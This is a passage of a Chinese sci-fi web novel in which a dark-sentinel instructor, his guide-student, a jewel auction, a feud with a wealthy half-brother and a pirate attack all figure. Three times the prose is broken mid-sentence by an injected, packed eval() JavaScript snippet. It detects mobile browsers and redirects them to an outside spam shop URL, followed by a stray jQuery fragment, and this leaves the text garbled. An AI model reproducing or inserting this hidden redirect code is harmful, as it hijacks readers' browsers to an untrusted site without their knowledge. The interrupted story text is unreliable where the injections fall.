靳年眉头皱得更深了,就连表情都扭曲起来,“我不想找向导,你还年轻,有的是大好前程,把心思都放在训练上。”
靳年没有解释自己为什么会因为对方打开自己的精神壁垒,总不能说自己认错人了吧?太伤自尊了。
傅言就像是听到了什么笑话,轻笑两声,“这就是教官所谓的分寸吗?翻脸不认人?拔x无情?教官知道你的精神海是怎么缠着我不让我出去的吗?”
傅言睁眼说瞎话的本领也是高超,看着靳年表情越来越狰狞,只觉得好笑,小孩儿还是这么藏不住情绪,他继续道,“可怜我还只是一个年轻的向导,精神力不够,教官缠/得那么/紧……都把我榨/干了……”
说着还状似难受地揉了揉额头,“教官……”
傅言还要继续说什么被人喝住,“闭嘴。”
靳年深深叹了一口气,“你想要什么?”
傅言抛出炸弹,“教官,让我成为你的向导吧!”
靳年想也没想就拒绝,“不行。”
傅言心口微跳,“为什么?”
他的视线紧紧盯着对方,似乎在期待一个回答。
“不为什么。”靳年起身,将身上的外套还给对方,换上自己的衣服,“成为黑暗哨兵,是我的选择。”
“所以……”傅言愣神之际,对方已经换好了衣服,正居高临下地看着他,“不管你是什么心思,都给我收起来。”
“教官觉得我是什么心思?”傅言挑眉轻笑,这次的眼神不太一样,柔和温情,和记忆中一模一样。
靳年瞳孔微震,收回了视线,“你自己清楚。”
再次,留给傅言一个背影。
傅言摇头,小孩儿长大了,有自己的想法了。
隔天,傅言就被加训了。
靳年回去仔细想了想,觉得还是太闲了,吃饱了撑的,才会想些有的没的,最终的解决方案,就是给人加训。
“长官,机甲改好了。”叶治上前,望向靳年看着的方向,开口道,“还是长官眼光好,这小子确实是个好苗子,等日后,一定会记得长官的栽培的。”
靳年转头看向他,挑着眉,神色莫名。
“怎么了吗?”叶治摸了摸自己的脸,应该没有什么失礼的地方啊。
靳年摇头,“没什么。”
走至人的身侧,拍了拍他的肩膀,“机甲你给他送过去,不用提我的名字。”
“不是,傅哥?”邹明看到傅言一个人在跑步,上前两步跟上对方,“你干什么伤天害理的事儿了?就因为你赢了教官,他就要体罚你?”
啊,或许是某个人恼羞成怒了吧?
傅言轻笑摇头。
邹明见状,不可思议道,“不是哥?你这还笑得出来?”
“为什么就不能是很看好我?所以想要栽培我?”傅言当然不能把昨晚的事情说出来。
邹明像是听到了什么惊天大秘密一样,眼睛睁大,不可置信,最后冲着傅言竖大拇指,“哥,你是懂自己PUA自己的!”
“那我就不等你了,先回宿舍了。”
“嗯。”傅言点头。
——
“砰——”
一栋大厦在高磁炮的轰炸下瞬间化为灰烬。
很快这件事情就在星网上传开。
“次奥!现在星盗这么猖狂了吗?联邦第一财团的商业大楼说炸就炸?”
“说实话,虽然我总说要炸了陆氏的大楼,但是也就是说说而已啊!怎么真有人去炸了?!我的星际争霸!刚冲上竞技场第一,直接就被挤出游戏了!还我top1啊!”
“md,在现场,为什么要为难我们打工人!你去炸他家啊!资本家的豪宅你去炸啊!”
……
靳年接通视讯,文森特的脸出现在虚拟大屏上,眉毛微挑,一双淡蓝色的眼睛深邃有神,眼角已经泛起皱纹,带着上位着的威严。
“陆氏的事情听说了吗?”
“嗯。”
“你有多久没有回去看看了?”文森特叹了一声,“既然这事情你也听说了,那么接下来这个任务就交给你了。顺便回家看看,毕竟都是一家人。”
“什么任务?”靳年忽视掉一些细节,直奔主题。
“是这样……”
联邦第一财团陆氏近期将要举办一个珠宝拍卖会,其中“坠落星空”也会首次亮相,参与拍卖。
“坠落星空”,一枚稀有的蓝宝石。宝石里有一种稀有的放射性物质,会在黑暗中闪烁着细碎的微光,就如同
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579358|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
星辰一般,所以有了这个名字,可谓有市无价。
靳年皱眉,直觉星盗的袭击没有这么简单,“是因为这枚宝石?”
文森特点头,“是。”
“这枚宝石有什么特殊之处吗?”这种中看不中用的奢侈品,绝不是星盗会炸一栋楼也要拿到的东西。
文森特轻轻笑了笑,“你的直觉很敏锐,根据最新的研究报告,‘坠落星空’里的放射性物质,或许可以治疗黑暗哨兵的精神图景。”
靳年对此持怀疑态度,毕竟从未听说过黑暗哨兵的精神图景还有能重新治愈的案例。
如果是真的,那么黑暗哨兵不就真的成了杀神一般的存在?
黑暗哨兵之所以会称为人形兵器,也是因为他们的精神图景受到污染侵蚀,这种侵蚀越深,黑暗哨兵越难以自控,越是喜欢杀戮,他们失控的时候是感觉不到疼痛的,也正因此,在他们意识正常的时候,身体就会出现巨大的副作用,脑袋疼,浑身疼。就像是要把感受不到的痛通通感受一遍。
黑暗哨兵活不到三十岁,一个原因是本身身体上的限制,精神海的崩溃是无法逆转的。
还有一个,就是在黑暗哨兵彻底被侵蚀前,就会被报废。
这是议会极力隐藏的秘密,民众只会以为黑暗哨兵是因为自身的原因,才会死亡。
其实不是,星际战场的黑暗哨兵只要失控一次或许就是最后一次。
但是如果真的有一种可以治愈黑暗哨兵精神海的东西,这些黑暗哨兵的寿命也就能够延长。
但靳年却觉得,如果能够被治愈,那是不是意味着不会被报废的人形兵器?
这……真的是一件好事?
靳年想不明白那些,政/治上事情,勾心斗角玩脑筋,他一向搞不明白。
他只会打打杀杀。
“本次拍卖会,联邦最高研究所也会到场,届时会拍下这条项链,以作后续的研究。”
靳年开门见山,“我的任务是什么?”
“保护‘坠落星空’,第一军团的人届时也在场,他们是主力,你作为军校的总教官,带你的学生见见世面,保护他们的安全,顺便保护项链。”
文森特加重了“顺便”两个字。
军校学生就是烟雾弹,是为了掩护第一军团,但其实第一军团是靳年的掩护,双重保险。
“明白。”靳年点头。
文森特看着靳年沉着锋利的轮廓,这几年对方越发沉稳,叹了口气,关切道,“也是让你回家见见家人,听说你哥哥很想你,毕竟是一家人。”
靳年皱眉,不明白文森特为什么总是这么关注于他的家庭和谐。
真的是因为他命不久矣,所以关心他吗?
但还是点点头,“是,元帅。”
视讯关闭,靳年放松下来,靠着身后的沙发坐下,面色凝重。
文森特是傅言曾经的副官,据他说受长官之托照顾他,靳年不懂,总觉得对方关心过头。
曾经文森特甚至想要他去除傅言的标记,和他结合。受人所托,可以做到这个地步吗?
但对方也只提过一次,被他拒绝之后也就没再提过了。
文森特对他确实关照有加,希望他在最后几年回归家庭似乎也合理。
但陆家啊……
靳年揉了揉抽痛的额角。
算了,不想了。
12. 好久不见
陆氏财团举办的拍卖会奢华又高调,就在他们大厦的顶楼,四面落地窗加一个俯瞰整座城市的露天阳台。
拍卖会是在室内举行,回字形两层设计,正中央珠宝钻石镶嵌的大吊灯璀璨夺目。
今天来的也都是有头有脸的人物。靳年带来的人守住各个楼梯口和门口,以及死面落地窗都站了他们的人,统一一身黑色西装。像极了批发的安保人员,如果戴上墨镜就更像了。
还别说,就凭着傅言这张脸,即是一身黑西装也让他和其他黑西装格格不入。
邹明见了分外眼红,几乎要把人衣服扒了,特别不服气,“为什么你穿着这么好看,我就像个保安?”
“也不算好看。”傅言的位置在二楼拐角,目光落在一楼靠着柱子的人身上,眸子沉了沉。
靳年果真不愧是在战场上锻炼出来的人,身高腿长,即是隔着衣服,也能感受到对方身上蓬勃的力量感。
黑色西装在对方身上非但不掉价,还有种大佬的气质,加之身上那股子目中无人的傲气,更是有种特别的韵味。
因为银发红瞳太过扎眼,特意做了伪装,整齐梳在脑后的黑发,凌厉的眉眼,锋利的五官轮廓,让对方完美融入资本家的队伍。
这可能就是传说中的霸道总裁。
傅言饶有兴致地扫过对方被西装勾勒出的完美腰线。
还没看够,视线就被人挡住了。
一个穿着红裙子的贵妇人走到靳年面前,傅言听不见他们在说什么,脸色瞬间沉了下去。
“哇哦,教官艳福不浅诶,明明都是保镖制服,怎么人和人差距这么大啊?”邹明也看见了,夸张地说了声口哨,正感慨着,就见人转身头也不回地离开。
“诶,你,干嘛去?”
“汇报工作。”傅言挥手,迈着自信坦然的步子,修长笔直的双腿,就像走T台一般。
邹明摸了摸后脑勺,直到看见傅言朝着靳教官的方向走去,才明白过来,汇报什么工作?那里就有工作要汇报了?
借口!统统都是借口!
“你是谁请来的?”女人性感的红唇微微勾起,视线在靳年身上来回扫视,“要不要考虑换一份工作?工资好说。”
“不考虑。”靳年的反应冷淡。
女人从旁边的侍从手里拿过酒杯,递给靳年,笑着问道,“我请你喝一杯怎么样?”
“在工作。”
接连被拒绝,女人脸上的笑容变得有些僵硬。
“女士,拍卖会即将开始了。”傅言适时笑着接过女人手里的杯子,恭敬地对着人弯腰,像是一个绅士。
女人视线落在傅言身上,眼睛里滑过一丝惊艳,但很快收回,傅言这一款美则美矣,不是她喜欢的类型,她比较喜欢靳年这种看上去荷尔蒙爆棚的,偏还什么都看不上的样子,魅力加倍。
“考虑考虑。”女人往靳年胸口的衣袋里塞了张名片,指尖在人的胸口轻轻勾了勾,魅惑地冲人眨了眨眼,才转身离开。
女人走后,傅言手指从人的胸口夹住名牌,拿在手中把玩,明明笑着,却不像是高兴的样子,“教官的魅力可真不小啊。”
“成熟英俊,是个人都会喜欢。”
傅言小声揶揄,名片在他手指上翻飞,像一只蝴蝶,最终飞向了最近的垃圾桶。
靳年一眼不发看着对方动作,抿了抿唇,“你到底想说什么?”
傅言扬了扬眉,“我能说什么?我有什么资格说什么?我只能和教官注意分寸。”
靳年额角一跳,转身,决定不理会这个人的疯言疯语。
傅言看着对方挺拔的背影,微不可查皱了皱眉,小孩儿长大了也不好,招蜂引蝶的。
这不,转头的工夫,又被人缠住了。
“好久不见。”
说话的男人一身剪裁得体的西装,和靳年相差无几的身高,剑眉星目,周身还自带一股子贵气,一副金丝眼镜架在鼻梁上,遮住了大半锋芒。
“聊聊?”男人仰了仰头,说着自顾自走向阳台的方向。
靳年皱眉,眼底滑过一丝厌烦,但最终还是跟了上去。
男人背靠着阳台的玻璃,给靳年递了一杯酒,靳年拒绝,“不方便。”
“呵~”男人轻笑,“怎么?怕我给你下药?我已经不是那么幼稚的人了,这种拙劣的手段不会用。”
靳年还是没有动,男人的嘴角僵住,紧握住酒杯,嗤了一声,“你还是那么让人讨厌。”
“你也不遑多让。”
靳年的话彻底将人激怒,酒杯被他重重摔在地上,“这就是你和你哥哥说话的态度吗?”
“我们似乎已经说的很清楚了,早在很久之前,我们就没有任何关系了,陆明哲。”
陆明哲,联邦第一财团陆氏的实际掌权人,在他手里,陆氏进军了好几个新兴行业,由此从一个快要没落的家族企业,发展到如今享誉星际联邦的大财团。
陆明哲脸色一变,突然低声笑起来,“听说你要死了,黑暗哨兵,没几年可以活,要不要求我救你?”
陆明哲,也就是“坠落星空”如今的主人,如果传言是真的,他倒是有能力说这种话。
但靳年不为所动。
对方似乎也不需要靳年有什么反应,金丝眼镜后的眸子闪过阴狠,“不过,你死了更好,你为什么不早点死呢?如果你那个时候死了该多好。”
“让你失望了。”靳年抱着胳膊,如今陆明哲算是他的保护对象,没有那么多闲心在这里看人发疯,“如果你要说的就是这个,还是早点回去吧。外面危险。”
陆明哲一把扯住靳年的手腕,咬牙切齿,“靳年,我亲爱的弟弟,你为什么要活着?”
“放手。”靳年厉声道,“如果你不想明天上星际新闻,最好还是保持住你陆总的风度。”
靳年反手将对方的手腕压住,目光深沉,居高临下道,“拍卖会马上开始了。”
“外面危险。”
他一字一顿重复。
陆明哲挣脱对方的桎梏,揉了揉手腕,能力者就是不一样,对方似乎仅仅只是轻轻一握,就让他手腕的血液难以循环,几乎麻木。
而他用尽全力,在对方眼里如同儿戏。
或许是太久没见了,才会这样失控。
陆明哲脸上表情不太好看,理了理自己的袖口,慢条斯理迈着步子往回走。
阳台门口的傅言冲人笑了笑。
靳年带来的人,绣花枕头。陆明哲扭过头,正眼都不给一个。
傅言看着男人身后的靳年,笑得温柔又多情,“教官魅力真大,连陆氏财团掌权人都认识。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579359|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
靳年皱眉,恨不得一拳锤在男人笑靥如花的俊脸上,“你没完了是吧?”
“教官别生气。”我都没生气。
傅言眼里沉了沉,话里虽是调侃,但这确实出乎他的意料。
刚才的话他听得一清二楚,陆明哲竟然是靳年的哥哥,看样子两人的摩擦还不小。
但……
他一直以为靳年是孤儿,之前也从来没听说过他和陆氏有什么关系。
傅言上前两步,走到靳年身后,低头靠近人的耳边,嗓音低沉温柔,“教官,别怕,我保护你。”
不会让你死的。
傅言眸子沉了沉。
炙热的气流喷洒在耳垂,靳年耳朵一烫,难以言喻的酥麻从耳垂传到后脑勺,靳年侧身,拉开两人的距离,不知道是不是因为动作幅度太大,还是某人故意,靳年感觉到耳垂上扫过一阵柔软的触感。
“你……”靳年不想像个恼羞成怒的傻瓜一样揉耳朵。
傅言似乎根本没有意识到发生了什么,一脸无辜看着人,眼神清澈。
靳年咬了咬后槽牙,和小孩儿计较什么?这么想着,果断离开是非之地,离的人远远的。
看着人狼狈的背影,傅言轻笑出声,摸了摸唇瓣,对方的耳垂还是这么敏/感。
靳年在人看不到的地方,摸了摸耳垂,那种感觉似乎还盘旋着,挥之不去。
妈的!靳年抱着胳膊,捂着嘴低骂一声。
“教官怎么跑到这里来了?让我一顿好找。”
熟悉的男声让靳年身体一震,抬头果然是傅言,上挑的眉尾就像是在嘲讽。
阴魂不散。
靳年转身要走,却被人拉住手腕,那人凑近,小声在他耳边道,“拍卖会要开始了,教官可别乱走。”
话音刚落,头顶的吊灯瞬间熄灭,整个宴会厅只有天花板四周的小灯亮着,似有若无。
所有的灯光都聚焦在拍卖司仪小姐和所展示的珠宝上面。
靳年动了两步,拉开和傅言的距离,谁知道这人像个跟屁虫一样,他动他就动。
靳年咬牙,小声怒道,“你到底要做什么?别的地方不用守卫吗?”
傅言理所当然地笑笑,“当然是保护教官啊。”
一张俊美的脸骤然放大,靳年甚至能清晰看到对方的睫毛,浓密修长,扑朔着,这双眼睛更是柔和,波光盈盈。
这样一双眼睛,真的就是看狗都深情。
靳年扭过头,在人胸口推了推,“挡着我了。”
“接下来这件珠宝,是陆先生的私人藏品,光辉流转,灿若星辰——坠落星空!”
旁边盖着的绒布在司仪小姐话音落后被掀开。
现场哗然。
正如司仪小姐所说,灿若星辰。
这样一颗小小的宝石,竟然能够散发如此绚烂夺目的光芒,在黑暗里更是熠熠生辉。
“坠落星空,起拍价1亿星币……”
傅言并不知这颗宝石有什么特别,只当这是因为稀有好看才会招来觊觎。他见旁边的靳年不说话,目光一直落在坠落星空上面,勾唇轻声问道,“怎么?教官很喜欢?”
“呵~”靳年抱着胳膊嗤笑,摇头,“不喜欢。”
他始终还是觉得对于黑暗哨兵而言,治愈不是解脱,死亡才是。
13. 陆氏恩怨
“两亿!”坠落星空一出,立马就有人开始加价。
被人群簇拥着的陆明哲,一身得体的西装,脸上带着温和的笑意,容貌英俊,是众多男男女女倾慕的对象,一点都看不出在阳台对着靳年的狰狞。
傅言对这些有钱资本家的嘴脸啧啧称奇,靳年倒是没什么反应,注意力一直在“坠落星空”上。
靳年和陆明哲的故事,说起来很狗血。
靳年的母亲,原本只是一个普通大学的学生。从边缘星来到首都星,其中艰辛不为人知。
在一次打暑假工的时候,结识了那时陆氏集团的大公子,也就是陆明哲的父亲。
他们来了一出豪门大少爷和灰姑娘的爱情故事,她逃,他追,他们都插翅难飞。
两个人情到深处无法自拔。然而,好景不长。陆公子想要娶靳年的母亲进门。
但豪门怎么可能让一个贫家女当媳妇?陆明哲的爷爷奶奶在其中极力阻止。
陆公子也是个非常有骨气的,起码在那个时候是很有骨气的,对于父母的反对,为了心爱的姑娘,他和家里断绝了关系。
两个人欢欢喜喜,毅然离开了首都星。但是骄奢淫逸的公子哥儿,偶尔过过苦日子,那就是体验生活。
刚开始可能觉得有趣,能够坚持。但是时间一长,就哪哪儿都不对劲起来,难免心生怨对。
陆公子这时候回过头来,再去看靳年的母亲,也就没有了以前那种心动的感觉。这个他心爱的姑娘好像也没有那么漂亮,和自己曾经见过的女人比起来,太过于寡淡。
他喜欢这种如莲花般高洁的坚强小白花,但是炙热浓艳的玫瑰也很有韵味。
在一次偶然的机会,陆公子遇到了曾经的旧友,香车美女好不快乐。公子哥再也忍受不了了,恰好这个时候,他的母亲找到了他。陆公子也就顺势和靳年的母亲割席回到自己的家族。
紧接着就是和陆明哲的母亲联姻,这是一个美貌,明艳大方的姑娘,还有着势均力敌的财富地位。
但他那个时候不知道,靳年的母亲其实早就怀孕了,只因为陆明哲早产,所以他是哥哥。
靳年的母亲,在生下靳年之后,身体就不太好,加上在贫穷的边缘星球,一个孕妇能找到什么好工作?
而且他还要养自己的父母,只能干一些钱少费精力的活儿,身体早就累垮了,好歹是把靳年生了下来。
但是屋漏偏逢连夜雨,父母重病,孩子又小,两头来回跑。
最终在靳年八岁的时候,老人相继去世。靳年很乖,即使偶尔忽视,也不会有丝毫怨言。还是会乖巧甜甜的叫妈妈。
但长久以来的消耗,还是让这个本就体弱的女子,病倒了。
看着眼前少年老成不爱说话的小孩子,承受不住了,她几乎没有在这个孩子成长的时候,尽到一个母亲的责任,现在反倒要这个小孩照顾她。
她于心不忍,不想成为靳年的拖累,于是了结了自己。
靳年那个时候才八岁,他不明白母亲为什么有一天,突然再也无法醒来。他被送往了孤儿院,因为性格孤僻,孤儿院的孩子都不太喜欢他。
靳年常常受到他们的捉弄,比如总是濡湿的被子,比如枕头底下的小老鼠,亦或是是污蔑他浪费粮食,导致他被罚不许吃饭。
靳年和陆明哲15岁那一年,陆明哲的母亲,这个如同玫瑰一般绽放的女人,也离世了。
这个女人一走,陆公子反倒愈发回味起自己曾经放弃一切也要在一起的姑娘。
在时间的滤镜下,这个女孩的身影仿佛带着圣光,于是便开始迫不及待马不停蹄地寻找白月光的下落。
只可惜白月光早逝,但原来他们还有一个孩子,于是靳年就这么被接到了陆家。
这对陆明哲来说,简直是晴天霹雳,他的母亲刚走,他还没有从悲伤中回过神来,自己的父亲,就接回了一个私生子。
锦衣玉食,万般宠爱的陆明哲,早就养成了娇纵的性子,对于靳年他极度的讨厌,总会找他各种各样的麻烦。
在陆明哲眼里,靳年是贯会装可怜的人,和他那个早死的妈一样。
可他所有的使坏,靳年从来不放在眼里,犹如小孩子过家家,陆明哲更讨厌他了,仿佛自己在靳年眼中就是一个跳梁小丑。
陆明哲忍不了。
18岁那年,或许是为了从陆氏得到些什么,他们双双被绑架了。
但劫匪的目标其实只有陆明哲,他们哪里知道陆氏还有个私生子?靳年纯粹是无妄之灾。
漆黑昏暗的废旧仓库,灰尘和霉味十分呛鼻,陆明哲娇生惯养,根本受不了。
“喂!你们如果想要钱,我可以给你们,放我出去!”陆明哲这时候还很年轻气盛。
“喂!”
他的喊叫没有任何用处,根本没有人进来。
靳年被他吵得直皱眉,“省着点力气吧。”
陆明哲这才想起来旁边还有人,转过头来恶狠狠问道,“是不是你?看不惯我所以要这么对我?”
靳年无语,“你有空记得去看看脑子。”
“你!”被人怼了,陆明哲更是生气。
“砰——”
他正欲说些什么,就见劫匪闯了进来,一身的黑衣,脸也被面罩蒙着。
“你们谁是陆高扬的儿子?”
靳年和陆明哲面面相觑,谁都没有开口说话。
黑衣男人似乎也没有想要他们回答的意思,“你们老子欠我一条命,我得让他还。”
他们以为劫匪只是单纯求财,没想到竟是要他们的命。
“你们最好乖乖的,等陆高扬来交赎金,我让你们一家团聚。”
说着,砰的一声头也不回的关上门。
他们不知道被关了多久,靳年的胃饿得发疼,陆明哲也不例外去,肚子咕咕叫了起来。
“看什么看?”肚子的声音太大,陆明哲红了脸,见靳年看着他,恶狠狠瞪了回去。
靳年皱眉,冷静地说道,“我们需要自救。”
“难道我不知道?”陆明哲没好气道,“问题是怎么救?就凭我们两个,能逃的出去吗?”
“我观察过,外面停着一辆飞艇,根据门口堆着的饭盒来看,他们不超过五个人。”靳年分析道,“刚才进来那个应该就是领头的,门口还有两个看守。”
“等会儿想办法弄进来一个,我拖住门口的,你开着飞艇去叫人来救我。”
陆明哲眼睛闪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579360|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了闪,这套方案明显对他有利,甚至只要他有心,靳年就可以神不知鬼不觉的消失,但他又不想要靳年看轻了他,于是反问道,“为什么不是我拖住他们?”
靳年扫了眼陆明哲的小身板,虽然语气平淡,但陆明哲就是觉得在讽刺他,“你拖不住。”
陆明哲眉头皱了皱,气得握成拳头,咬了咬牙,“行!”
“但是要先想办法把绳子解开。”陆明哲扭了扭身体,示意绑在背后的手。
只见靳年背后的手动了动,紧接着手腕上的绳子就掉落在地,他转动僵硬的手腕,解开绑住的双腿,站了起来。
“你!”陆明哲再次气急败坏,“你早就解开了?你还会这个呢?”
靳年脸上风轻云淡,淡淡嗯了一声,走到陆明哲身边,“小时候就会了。”
解开绳子的陆明哲虽然很想一拳锤在对方冷淡的脸上,但考虑到目前的合作关系,硬生生忍住了。
计划如同靳年所说的那样进行着,但是他们却低估了绑匪的人数。
门口的守卫确实只有两个,但就是那么寸,其他人也恰好在这个时候回来,和打算逃跑的两个人撞了个正着。
缠斗的过程中,陆明哲小腿受到重击,疼得他冒冷汗。
“快去啊!”靳年抱住袭击陆明哲那个人的腰,狠狠往地上一撞,看着愣神是人吼道。
见靳年这么能抗,绑匪为了发泄心中是郁气,拳头不要命似的往他身上招呼。
陆明哲咬了咬牙,拳头捏得死紧。
理智在拉扯。
如果这个时候放弃靳年转身离开,就算最后叫来了救援,他可能也会死,可是这个私生子一死不正合他意吗?
可见靳年扛着别人的拳头,额头似乎被人打破,鲜血从额角染红了眼睛,陆明哲的脚下像是生了根。
靳年的力气渐渐变小,这时候,绑匪也终于把精力放在另外一个人身上。
只是还没走出两步,就被骤然爆发的靳年抱住了脚踝。
他冲着陆明哲,“快走啊,你愣着干什么?”
陆明哲咬牙转身,忍着小腿的疼痛,爆发出惊人的速度,不要命似的往外跑。
具体是怎么开着飞艇找到恰好赶来的陆高扬的,记忆已经模糊,他只知道自己说了一句话,便一头栽了下去。
“救……救靳年……”
陆明哲醒来之后,一切天翻地覆。
靳年被找到时,已经觉醒成了哨兵,而他的腿却留下了残疾,虽然后面在陆氏科技的治疗下已经痊愈,但那种犹如废人,被人指指点点骂瘸子的日子,陆明哲始终记得。
陆明哲如鲠在喉。
只是好在,靳年一觉醒,就被强制匹配,即使在陆高杨极力挽回之下,还是和陆家断绝了关系。
但靳年虽走,陆明哲却时刻活在他的阴影之下,阴沟里的老鼠,竟有一天成了天之骄子,
陆明哲突然好恨!他本来可以做一个爱护弟弟的好哥哥的,只要靳年那时候死了,他就不用被人比较,他还会时常记得靳年的好。
可一切都被毁了。陆明哲开始真正恨靳年这个人了。
但这些种种,靳年不得而知,那时候的他,遇到了一个很奇怪的向导。
14. 星盗袭击
就在拍卖进行到如火如荼,“坠落星空”已经从一亿星币飙升到二十亿星币的时候。
“啪”地一声,落地窗玻璃炸开一个大洞,宴会厅瞬间烟雾弥漫。
“啊!”在场都都是有头有脸都人物,这个时候都狼狈地如同尖叫鸡一般大叫。
“各位请冷静,相信陆氏的安保系统,一定能保护各位的安全。”
陆明哲磁性低沉的嗓音,十分可靠,尽管脸上都不太好看,但好在没有乱。
傅言和靳年对视一眼,只见对方根本不看他,直接就往外面冲。
要知道陆氏的商业大楼高耸入云霄,甚至堪比高空违章建筑。
傅言低咒一声,拔腿跟上,不知道靳年是什么时候养成的如此莽撞的性子,冲就算了,起码和搭档商量再行动啊!
靳年身姿矫捷,速度之快,眼睛死死盯着拿走“坠落星空”的男人。
第一军团的人第一时间便展开了拦截,但是星盗一伙儿人虽然不多,制造混乱有一手,加上这里是市区,没办法使用大规模杀伤武器。
星盗的飞艇落下登云梯,男人甩开身后第一军团的人,奋力一跃,拽住绳索,就在他正因为安全逃离洋洋得意时,从侧面飞跃而出的靳年拽住男人的小腿。
“cao!”男人低咒一声,双腿用力蹬,非但没有将人甩开,反而使登云梯承受不住两个人的重力,在空中剧烈摇晃。
靳年的四肢就像是装了钢爪,抱着男人的小腿往上爬。
“快把他打下去!”登云梯的剧烈摇晃,让男人有些害怕了,大声吼道。
“砰——砰——”
飞艇打出的量子激光炮在空中炸开,靳年左手用力拉住登云梯,往后一荡。因着激光炮的阻碍,男人已经成功摸到飞艇的舱门。
靳年不要命一般的行为,也成功让傅言眉头一跳,像是有人在用生锈的锯子磨他的神经,几乎是来不及思考,就上了阳台停靠着的飞艇,跟在星盗的后面。
视线里,一束激光炮砰地炸开蘑菇云,对方星舰的登云梯已经断了一条绳索,眼看着靳年就要往下坠。
傅言前所未有的紧张,额角绷得死紧,手上的动作却丝毫不见慌乱,有条不紊地操纵着飞艇前进,成功躲开右侧扫射过来的激光炮。
登云梯另外一侧的绳索也开始摇摇欲坠,靳年往上爬的速度很快,动作也十分轻盈,像某种猫科动物。
“砰——”
又一束激光炮,登云梯彻底断裂,眼见着靳年从高空坠落,傅言心脏猛地一跳,操纵飞艇加速。
“让你追!去死吧!”黑衣男人在舱门口,扛着能量枪,对着靳年掉落的身体一阵乱轰。
傅言操纵飞艇右下倾斜,在空中盘旋一圈,避开飞艇攻击的同时来到靳年旁边。
“咚——”
飞艇左翼的闷响,让傅言的心脏安定些许。
“咚咚咚——”
驾驶舱右侧的舷窗被人敲响,傅言降下挡板,靳年的脸赫然出现。
靳年身上的伪装已经失效,一头张扬的银发在空中飞舞,红色的瞳孔最外一圈是无机质的黑,他朝着傅言勾了勾唇,眼底是无尽的杀意和兴味。
傅言微不可察地皱了皱眉,天然上挑的眼尾透露出几分怒意,一双薄唇被他抿得平直,仔细看,似乎还少了一些血色。
这些靳年统统都没有注意到,他现在只剩下一个念头,那就是将“坠落星空”抢回来,并把这群该死的星盗全部撕碎。
光是想到那个画面,脑子里就兴奋地像有小人儿跳舞,浑身充满了力量,但偏偏现在无处发泄。他扭了扭因为过度兴奋而僵硬的脖子,冲着傅言笑着,并示意傅言开过去,靠近对方的飞艇。
傅言十分想要拒绝,这架飞艇应该是陆明哲的私人飞艇,配套设备除了奢靡安逸,没有一丝攻击能力,自保能力都还得存疑。
但“坠落星空”很明显是这次的主要任务,傅言蹙着眉头操纵飞艇飞至对方飞艇的下方,在对方的视角盲区,左翼倾斜盘旋向上。
星盗团见靳年的身影消失不见,无人追来,正要关闭舱门。
砰地一声,舱门底部爬上一只手,在众人愣神的时间,靳年飞身一跃,成功挤了进去。
靳年扭了扭脖子和手腕的关节,嘎吱作响,咧了咧嘴角,“现在,该我了。”
“砰!”右手挥拳打开对方要拿武器的手,男人手腕吃痛,有种骨折的错觉,能量枪被摔在地上。
男人的同伴反应迅速开始对着靳年扫射,靳年扯住男人挡在身前,将男人往空中一抛。
可怜的男人还没有反应过来就被同伴的乱枪打死。
靳年趁着男人的遮挡,右腿横扫,星盗团伙被他逼退一步,靳年转身落地捡起地上的能量枪,冲着星盗一顿扫。
但是靳年手里的能量强很快便能量耗尽。
星盗团嗤笑一声,“现在看你还怎么嚣张!”
靳年扔掉能量枪,摊手,摇头。
“这样不是更好吗?”靳年的速度极快,几乎看不见残影,瞬间来到一个人的身边,“我更喜欢肉搏。”
男人瞳孔睁大,无助地捂着脖子上的血洞,“唔额……”
他希望自己同伴可以救他,男人倒在地上,死不瞑目。
靳年嗤了一声,血液的味道让他更加兴奋,银发被喷溅的血液染红,如同冬日里白雪之上的红梅,极其艳丽。
靳年的眼睛已经全部变成了无机质的黑,隐隐闪烁着红光,就像是深渊里可怕的怪兽一般,透着嗜血的光芒。
剩下的人咽了咽口水,这完全就打不过,与其死在这里,还不如马上逃跑,其中一个人打开逃生门,往外一跃,在右侧的肩膀上一按,小型的逃生艇立马充气。
其他人见状,纷纷效仿,靳年冷笑,“我有说你们可以走了吗?“坠落星空”留下。”
众人被靳年逼得纷纷后退,手里的能量枪对着人扫,一束能量擦过靳年的肩膀,瞬间血流如注,但他就像没有痛感一样,动作丝毫不受影响。
正如老话,愣的怕狠的,狠的怕不要命的,星盗穷凶极恶,但在不要命的靳年面前,升起了畏惧。
有想要和靳年拼了的,靳年身上不知道被能量枪扫过几个血窟窿,但他就像是没事儿人一样,反而是拿枪的那个人,被靳年一拳锤在胸口,心脏瞬间迸裂,一命呜呼。
